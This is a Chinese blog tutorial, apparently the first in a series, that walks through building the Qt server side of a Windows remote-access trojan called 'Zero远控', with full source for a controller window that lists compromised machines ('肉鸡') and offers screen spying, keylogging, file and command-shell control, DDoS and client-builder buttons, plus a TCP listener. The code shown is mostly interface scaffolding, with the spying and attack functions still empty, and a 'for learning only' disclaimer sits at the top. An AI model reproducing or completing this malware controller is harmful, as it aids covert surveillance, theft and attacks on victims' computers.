(此系列教程谨供学习,禁止用于非法用途)
日期:2016-4-25
问大家个问题,看人家的代码是不是很辛苦,特别是找不到入口的时候?每次遇到问题的时候最希望是上百度或Google直接复制就最方便了,从来都不愿意去理解背后的意思。我就是这样,因为我人比较懒,但学习有时候总要硬着头皮去看别人的代码,呵呵。但吃好东西要细嚼慢咽才能品尝到当中的美味,所以现在开始我会一步一步带着大家细阅代码,放心,我会打好详尽的注释,而且告诉你哪里是入口,这样你的学习就能事半功倍了!
先安装Qt开发环境(虽然我们的远控是针对windows,但Qt是跨平台的,所以服务器端用什么系统开发都可以):
Windows: http://download.qt.io/official_releases/qt/5.6/5.6.0/qt-opensource-windows-x86-mingw492-5.6.0.exe
Linux: http://download.qt.io/official_releases/qt/5.6/5.6.0/qt-opensource-linux-x64-5.6.0.run
好的开始是成功的一半,我们先来弄个简洁的服务端界面:
1。创建项目,我叫他做zero-server
2。创建Qt的资源文件,用来放按钮图片或icon,创建好了就在Project栏里对着resources.qrc右击加入图片路径就可以了
资源文件(图片):http://download.csdn.net/download/sumkee911/9501976
3。第一波代码来袭。。。。入口是Widget构造函数,开始画界面,如果有ZeroServer.cpp相关的代码先不用管他,我们先搞定界面先,那个我在下会讲
(这就是我们的效果图)
Widget.cpp
#include "widget.h" #include "ui_widget.h" Widget::Widget(QWidget *parent) : QWidget(parent), ui(new Ui::Widget) { ui->setupUi(this); // 设置窗口 this->setFixedSize(QSize(800,600)); this->setWindowTitle("Zero远控"); this->setWindowIcon(QIcon(":/resources/zero.png")); // 工具栏 // 当你第一次放QPushButton的时候你可能会发现编译不通过,原因是因为你没在头文件中#include <QPushButton>,其他的东西例如QMessageBox也一样,记得要include喔 // 视屏监控Button QPushButton *btScreenSpy = new QPushButton(QIcon(":/resources/screenspy.png"), "视屏监控", this); btScreenSpy->setIconSize(QSize(60,60)); btScreenSpy->setGeometry(QRect(0*160,0,160,80)); // 这是Qt的信息与槽机制,这段的意思大概就是Qt // 记得要先定义好槽,在头文件里的public slots里定义,这么简单的东西我就不详细说了 // 收到btScreenSpy的clicked消息后就把它发送给clickedScreenSpy的槽(也就是响应函数的意思) // 你可以在响应槽中放个 QMessageBox::information(this, "test", "hello world"); 试试效果 connect(btScreenSpy, SIGNAL(clicked(bool)), this , SLOT(clickedScreenSpy(bool))); // 键盘监控Button QPushButton *btKeyboardSpy = new QPushButton(QIcon(":/resources/keyboardspy.png"), "键盘监控", this); btKeyboardSpy->setIconSize(QSize(60,60)); btKeyboardSpy->setGeometry(QRect(1*160,0,160,80)); connect(btKeyboardSpy, SIGNAL(clicked(bool)), this, SLOT(clickedKeyboardSpy(bool))); // 文件监控Button QPushButton *btFileSpy = new QPushButton(QIcon(":/resources/filespy.png"), "文件监控", this); btFileSpy->setIconSize(QSize(60,60)); btFileSpy->setGeometry(QRect(2*160,0,160,80)); connect(btFileSpy, SIGNAL(clicked(bool)), this, SLOT(clickedFileSpy(bool))); // CMD指令行Button QPushButton *btCmdSpy = new QPushButton(QIcon(":/resources/cmdspy.png"), "CMD监控", this); btCmdSpy->setIconSize(QSize(60,60)); btCmdSpy->setGeometry(QRect(3*160,0,160,80)); connect(btCmdSpy, SIGNAL(clicked(bool)), this, SLOT(clickedCmdSpy(bool))); // DDoS攻击Button QPushButton *btDdos = new QPushButton(QIcon(":/resources/ddos.png"), "DDoS", this); btDdos->setIconSize(QSize(60,60)); btDdos->setGeometry(QRect(4*160,0,160,80)); connect(btDdos, SIGNAL(clicked(bool)), this, SLOT(clickedDdos(bool))); // 服务器控制组件 // 肉鸡数量(将 "QLabel *m_lbClientCount" 放到widget.h的class private中,方便以后调用) QLabel *lb = new QLabel("肉鸡数量:", this); lb->setGeometry(QRect(600,0*40+360,70,30)); m_lbClientCount = new QLabel("0", this); m_lbClientCount->setGeometry(670,0*40+360,120,30); // 定时更新肉鸡数量 QTimer *tmUpdateClientCount = new QTimer(this); connect(tmUpdateClientCount, SIGNAL(timeout()), this, SLOT(timeoutUpdateClientCount())); tmUpdateClientCount->start(1000); // 端口编辑框(同上) lb = new QLabel("端口:",this); lb->setGeometry(QRect(600,1*40+360, 50, 30)); m_lePort = new QLineEdit("18000",this); m_lePort->setValidator(new QIntValidator(1,65535)); m_lePort->setGeometry(QRect(650,1*40+360,140,30)); // 服务器开启Button(同上) m_btStart = new QPushButton("启动服务器", this); m_btStart->setGeometry(QRect(600,2*40+360, 190, 30)); connect(m_btStart, SIGNAL(clicked(bool)), this, SLOT(clickedStart(bool))); // 服务器停止Button(同上) m_btStop = new QPushButton("停止服务器", this); m_btStop->setGeometry(QRect(600, 3*40+360, 190,30)); connect(m_btStop, SIGNAL(clicked(bool)), this, SLOT(clickedStop(bool))); m_btStop->setEnabled(false); // 创建客户端Button(同上) m_btCreate = new QPushButton("创建客户端", this); m_btCreate->setGeometry(QRect(600,4*40+360,190,30)); connect(m_btCreate, SIGNAL(clicked(bool)), this, SLOT(clickedCreate(bool))); // 当前肉鸡列表(将 "QTableWidget m_twClient" 放到widget.h的class private中,方便以后调用) m_twClient = new QTableWidget(this); m_twClient->setGeometry(QRect(4,84,580,510)); // 插入列名 m_twClient->setColumnCount(4); m_twClient->setHorizontalHeaderItem(0, new QTableWidgetItem("用户名")); m_twClient->setColumnWidth(0, 120); m_twClient->setHorizontalHeaderItem(1, new QTableWidgetItem("公网IP")); m_twClient->setColumnWidth(1, 170); m_twClient->setHorizontalHeaderItem(2, new QTableWidgetItem("内网IP")); m_twClient->setColumnWidth(2, 170); m_twClient->setHorizontalHeaderItem(3, new QTableWidgetItem("系统型号")); m_twClient->setColumnWidth(3, 100); // 初始化服务器(所有关于服务器的可以先忽略掉,下面我们会再讲, 你们先搞定上面的控件) m_server = new ZeroServer(reinterpret_cast<QTcpServer*>(this)); connect(m_server, SIGNAL(serverStarted()), this, SLOT(serverStarted())); connect(m_server, SIGNAL(serverStoped()), this, SLOT(serverStoped())); } Widget::~Widget() { delete ui; } void Widget::clickedScreenSpy(bool) { QMessageBox::information(this, "test", "hello world"); } void Widget::clickedKeyboardSpy(bool) { } void Widget::clickedFileSpy(bool) { } void Widget::clickedCmdSpy(bool) { } void Widget::clickedDdos(bool) { } void Widget::clickedStart(bool) { m_server->startServer(m_lePort->text().toInt()); } void Widget::clickedStop(bool) { m_server->stopServer(); } void Widget::clickedCreate(bool) { } void Widget::timeoutUpdateClientCount() { } void Widget::serverStarted() { // 禁止开启按钮,允许停止按钮 m_btStart->setEnabled(false); m_btStop->setEnabled(true); } void Widget::serverStoped() { // 禁止停止按钮,允许开启按钮 m_btStart->setEnabled(true); m_btStop->setEnabled(false); }
Widget.h
#ifndef WIDGET_H #define WIDGET_H #include <QWidget> #include <QPushButton> #include <QLineEdit> #include <QIntValidator> #include <QLabel> #include <QTableWidget> #include <QMessageBox> #include <QTimer> #include "zeroserver.h" namespace Ui { class Widget; } class Widget : public QWidget { Q_OBJECT public: explicit Widget(QWidget *parent = 0); ~Widget(); private: Ui::Widget *ui; // 控件们 QLineEdit *m_lePort; QPushButton *m_btStart; QPushButton *m_btStop; QPushButton *m_btCreate; QTableWidget *m_twClient; QLabel *m_lbClientCount; // 服务器 ZeroServer *m_server; public slots: // 控件们的鼠标点击相应槽 void clickedScreenSpy(bool); void clickedKeyboardSpy(bool); void clickedFileSpy(bool); void clickedCmdSpy(bool); void clickedDdos(bool); void clickedStart(bool); void clickedStop(bool); void clickedCreate(bool); // 人数更新 m_lbClientCount void timeoutUpdateClientCount(); // 服务器开启与关闭槽,负责接受服务器开启或关闭后接收的消息 void serverStarted(); void serverStoped(); }; #endif // WIDGET_H
开始写服务器代码了:
1。先创建个名叫ZeroServer的类
2。要生效网络必须再.pro文件里加入 Qt += network
3。第二波代码来袭,头文件里你必须要跟我一样加上Q_OBJECT,还要修改一下构造函数,不然信号与槽无法使用
ZeroServer.h
#ifndef ZEROSERVER_H #define ZEROSERVER_H #include <QObject> #include <QTcpServer> #include <QDebug> class ZeroServer : public QTcpServer { Q_OBJECT public: ZeroServer(QTcpServer *parent=0); // 开启服务器 void startServer(const int port); // 停止服务器 void stopServer(); signals: // 当服务器停止后发送的信号 void serverStarted(); // 当服务器开始后发送的信号 void serverStoped(); protected: // 有新连接时的地方 virtual void incomingConnection(qintptr socketDescriptor); }; #endif // ZEROSERVER_H
ZeroServer.cpp
#include "zeroserver.h" ZeroServer::ZeroServer(QTcpServer *parent):QTcpServer(parent) { } void ZeroServer::startServer(const int port) { try { // 开始监控 if ( !listen(QHostAddress::Any, port) ) { throw QString("Failed to listen, error code=%1").arg(errorString()); } // 发送服务器已启动信号 emit serverStarted(); } catch(QString &err) { qDebug() << err; } } void ZeroServer::stopServer() { close(); // 发送服务器已停止信号 emit serverStoped(); } void ZeroServer::incomingConnection(qintptr socketDescriptor) { // 你可以用telnet连接看看 qDebug() << "test: Got connection"; }
完整源码:http://download.csdn.net/download/sumkee911/9501981
最后:
今天到这里先,再见!